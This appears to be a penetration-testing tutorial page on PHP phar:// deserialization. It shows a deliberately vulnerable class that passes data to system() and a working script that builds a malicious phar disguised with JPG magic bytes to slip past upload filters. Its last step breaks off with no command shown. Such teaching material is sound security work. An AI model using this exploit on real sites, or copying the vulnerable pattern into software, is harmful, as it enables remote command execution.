> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-10/phar-deserialization.md).

# phar:// deserialization

**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:

```
vunl.phpclass AnyClass {	public $data = null;	public function __construct($data) {		$this->data = $data;	}	function __destruct() {		system($this->data);	}}​filesize("phar://test.phar"); 
```

You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:

```
create_phar.php​class AnyClass {	public $data = null;	public function __construct($data) {		$this->data = $data;	}	function __destruct() {		system($this->data);	}}​$phar = new Phar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'text');$phar->setStub("\xff\xd8\xff\n");​$object = new AnyClass('whoami');$phar->setMetadata($object);$phar->stopBuffering();
```

Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**. **Compile** the `test.phar` file with:

```
php --define phar.readonly=0 create_phar.php
```

And execute the `whoami` command abusing the vulnerable code with:

## References <a href="#references" id="references"></a>

​<https://blog.ripstech.com/2018/new-php-exploitation-technique/>​
